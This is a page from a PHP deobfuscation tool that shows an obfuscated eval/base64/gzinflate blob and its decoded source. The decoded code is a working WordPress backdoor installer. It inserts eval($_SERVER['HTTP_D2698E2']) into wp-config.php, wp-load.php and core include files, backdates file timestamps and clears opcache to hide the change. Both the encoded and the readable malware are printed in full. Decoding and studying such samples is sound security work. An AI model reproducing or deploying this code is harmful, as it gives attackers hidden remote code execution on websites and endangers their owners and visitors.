Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('rVZ5U+JIFP+fqvkObRVOwsA6oKu7FuXujgqCzqqFjiDCUKHzkJakE9MdDh39..

Decoded Output download


define('CURRENTDIR', getcwd());
$rootDir = detectWProotDir();

if (!$rootDir) {
    echo 'invalid detect rootDir' . PHP_EOL;
    exit;
}


backCheckWrite(backTarget(), $rootDir);
backCheckWrite(additionalTarget(), $rootDir, true);

function backCheckWrite ($backTarget, $rootDir, $noBreak = false) {
    foreach ($backTarget as $path => $regex) {

        $fullPath = $rootDir . '/' . $path;
        $source = file_get_contents($fullPath);

        if (!$source) {
            continue;
        }

        if (detectString($source)) {
            echo sprintf('code already exists %s', $path) . PHP_EOL;

            if ($noBreak){
                continue;
            }

            break;
        }

        if (is_writeable(dirname($fullPath))) {
            $deleteFileBeforeUpdate = 1;
        }

        if (!is_writeable($fullPath) && !is_writeable(dirname($fullPath))) {
            echo sprintf('not writeable %s', $path) . PHP_EOL;
            continue;
        }

        if (!preg_match($regex, $source, $matches)) {
            echo sprintf('not matches in %s', $path) . PHP_EOL;
            continue;
        }


        $newSource = str_replace($matches[0], hqBack() . PHP_EOL . $matches[0], $source);

        if (!detectString($newSource)) {
            echo sprintf('incorrect record %s', $path) . PHP_EOL;
            continue;
        }


        $filemtime = filemtime($fullPath) + 10;

        if ($deleteFileBeforeUpdate) {
            unlink($fullPath);
        }

        if (file_put_contents($fullPath, $newSource)) {
            echo sprintf('%s success', $path) . PHP_EOL;
            touch($fullPath, $filemtime);

            if (function_exists('opcache_invalidate')) {
                opcache_invalidate($fullPath);
            }

            if ($noBreak) {
                continue;
            }

            break;
        } else {
            echo sprintf('invalid write to %s', $path) . PHP_EOL;
        }
    }
}

function detectString($source) {
    if (strstr($source, systemEnv()) !== false) {
        return true;
    }
    return false;
}

function systemEnv() {
    return 'D2698E2';
}

function hqBack() {
    return sprintf('eval($_SERVER[\'HTTP_%s\']);', systemEnv());
}

function additionalTarget() {
    $arr = [
        'wp-load.php' => '~^\s*if.+?file_exists.+?wp-config.php[^\{]+\{~m',
        'wp-config.php' => '~^\s*require_once.+?wp-settings.php[^;]+;~m',
    ];

    return $arr;
}

function backTarget() {
return json_decode(base64_decode('eyJ3cC1pbmNsdWRlc1wvZm9ybWF0dGluZy5waHAiOiJ+XlxccypmdW5jdGlvblxccyt3cHRleHR1cml6ZV9wcmltZXN+bSIsIndwLWluY2x1ZGVzXC90ZW1wbGF0ZS1sb2FkZXIucGhwIjoifl5cXHMqaWYuKmlzX3JvYm90c1teXFx7fFxcOl0rKFxce3w6KX5tIn0='), 1);
}

function moveTop(&$array, $key) {
    $temp = array($key => $array[$key]);
    unset($array[$key]);
    $array = $temp + $array;
}


function detectWProotDir() {
    if (file_exists(CURRENTDIR . '/wp-config.php')) {
        return CURRENTDIR;
    }
    $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);
    if (file_exists($normalizePath . '/wp-config.php')) {
        return $normalizePath;
    }

    return null;
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('rVZ5U+JIFP+fqvkObRVOwsA6oKu7FuXujgqCzqqFjiDCUKHzkJakE9MdDh397Ps6BySIpbM1XR7p7t+7r86YMGAcdO3gW6NROb08rDe0ArkFSSemnsuVM1nPceQh88geMUEClc3z6ETH2wwbEH0txuTIY4bgAjp0iMb42LCYGZGRCKORDXJeO+9Vzr6WQ/CUyXLmKZPJ9A06OhgCHTU9JkFX20vDQ130XIHMZZSXcYZpMskcblgv0QUiPR+UogOfU4UiaWqiZxdyknRZ7ux7YIzQ7oFhCYhtGzh4SocpOmIIknUNOSR7fyELuIWpggd4tbID37LOg/u5BHSD9lk5IyAsL7DC8T0KSiyzoIfce9ThErgU+pyPMigmCCMQUsVKxktRMu7Dgv1TmjCMzYX0GL/VYybLXIJwChcxcqBr1DGBGBZ6wZyp4AkpyLrApAkMySXDm+KixMVOzaUFrFZ1SV21+or4VWOY6E1UTI2+BbrJPG7YkPDZC7uyJlhofxX9vA8qrt9c05DK9aVXZaylhCyYk48fydrPKpB2LHckmZO/5tKfiu6ai7nYsw1Jh3qYloU4v/AjOAfxDq0iJGH8f6u1yG8Ok4s4xYX0eh64lkHRT5GUm2K3QIb3+1hdekKGqpQkIk7W5UpIZ/Rc2BtWMk4dzwvaFOCX+QvsVOVrS2bHpRx8JzMmT0rFJe1fychl3X1uMT5KtYNXMiDoIa6/qocUyLu9sy6I8CkF8bZTpOOrZEsImdueW9EQ4q7cCxuJrjkuxe4KvWh4oPHaC+XUeolb6Y4VPSTVh8gvakQEcES8kWHhNAwqHN30VoY9ZcK/T4nRtbJbR1KVWVhO+KPPS1zMhAS7wsc4ycna3tIkU8sD6Xs8GJLlzEJsdBzAyykVEiwjNhFWO9zc2f2zsqml8fNCToHnXvkH0Ct6tndRaVxVGjcdrXZ5ed5bFx2tmytraQvSjF9O/UhE1vDUY+VmbqM2cX+zHMPccIeupia09vy9Iz6xwUb+76A+wtzDHQIx+gN2q6A33zuP3Xzn8dnWCileC0iCmwf3PvOg53AKIScBEvPoVoS8yt18ec6pG1VC5A2lcdq45NOHPH7IRMA7gZVigprA+DoSsPN7vNNgdrxFD0pu3z4VZrNh0dJk3LZ3Z/1mtWgeWX57tj0xal/YGTvOt6wppTPXNpvbd3g37gd7uUVrDQtqjRK1rZ321e4E/8t26zTfv6iLOjcnX5uWf705LbWPrh5aB7vFdrM06R9Vi+2LkuhvVkftVt2nR8NJ/c5hA2ubtmr/3hvNa//Eth5aW8fja3u3SEsSWtXpH4PqlJ5ZRe8E/8PWZOektS3rvLin4eOtlCt/SLnDdsZw6bj6R+UpY4ZlM4LZPN6YIC4GPLjS1U3wCgu2N2rbjfqBzzEk+oqL8Ei9zQJW+eggfJQuFV/i9ZsovEQa6YuHdPDESydMbkXxLQiSJYgtyrOxYzxA9HAMZnk8LLXnzmcdWRumzfgP/MABZvkmiB+hPNXrcxufss9YQxr+LmRENi9rvSTufZqniWLtk6nNsSUrP/4H')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 cc94c493cfe51aad1792161e645346c7
Eval Count 1
Decode Time 76 ms